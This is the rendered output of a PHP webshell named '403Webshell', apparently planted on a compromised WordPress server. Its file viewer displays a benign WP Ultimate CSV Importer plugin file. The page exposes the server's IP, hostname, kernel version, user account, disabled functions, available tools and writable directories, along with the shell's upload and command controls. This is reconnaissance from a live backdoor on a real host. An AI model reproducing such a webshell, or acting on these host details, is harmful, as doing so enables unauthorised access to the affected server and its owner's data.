403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/wp-ultimate-csv-importer/extensionModules/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/wp-ultimate-csv-importer/extensionModules/WCPAExtension.php
<?php
/**
 * WP Ultimate CSV Importer plugin file.
 *
 * Copyright (C) 2010-2020, Smackcoders Inc - info@smackcoders.com
 */

namespace Smackcoders\FCSV;
 
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}
class WCPAExtension extends ExtensionHandler {
    private static $instance = null;

    public static function getInstance() {
        if (WCPAExtension::$instance === null) {
            WCPAExtension::$instance = new WCPAExtension();
        }
        return WCPAExtension::$instance;
    }

    /**
     * Provides WCPA Meta fields for specific post type
     * @param string $data - selected import type
     * @return array - mapping fields
     */
    public function processExtension($data) {
        global $wpdb;
    
        // Query to fetch meta values from wp_postmeta with meta key '_wcpa_fb_json_data'
        $meta_results = $wpdb->get_results(
            $wpdb->prepare(
                "SELECT meta_value 
                FROM {$wpdb->postmeta} 
                WHERE meta_key = %s",
                '_wcpa_fb_json_data'
            ),
            ARRAY_A
        );
    
        // Initialize the headers array
        $headers = [];
    
        // Validate and process the meta results
        if (!empty($meta_results)) {
            foreach ($meta_results as $meta) {
                if (!empty($meta['meta_value'])) {
                    $decoded_meta = json_decode($meta['meta_value'], true); // Decode JSON data
                    if (is_array($decoded_meta)) {
                        foreach ($decoded_meta as $section) {
                            if (isset($section['fields']) && is_array($section['fields'])) {
                                foreach ($section['fields'] as $fieldGroup) {
                                    foreach ($fieldGroup as $field) {
                                        if (isset($field['label']) && !empty($field['label'])) {
                                            $headers[] = $field['label'];
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    
        // Prepare the response in the required format
        $response = [];
        foreach ($headers as $header) {
            $response[] = [
                'label' => $header,
                'name'  => sanitize_title($header), // Generate a machine-friendly name
            ];
        }    
        // Return the headers
        return ['wcpa_meta_fields' => $response];
    }
    
    /**
     * WCPA Meta extension supported import types
     * @param string $import_type - selected import type
     * @return boolean
     */
    public function extensionSupportedImportType($import_type) {
        if (is_plugin_active('woo-custom-product-addons/start.php')) {
            $import_type = $this->import_name_as($import_type);

            if ($import_type === 'WooCommerceOrders') {
                return true;
            } else {
                return false;
            }
        }

        return false;
    }
}

Youez - 2016 - github.com/yon3zu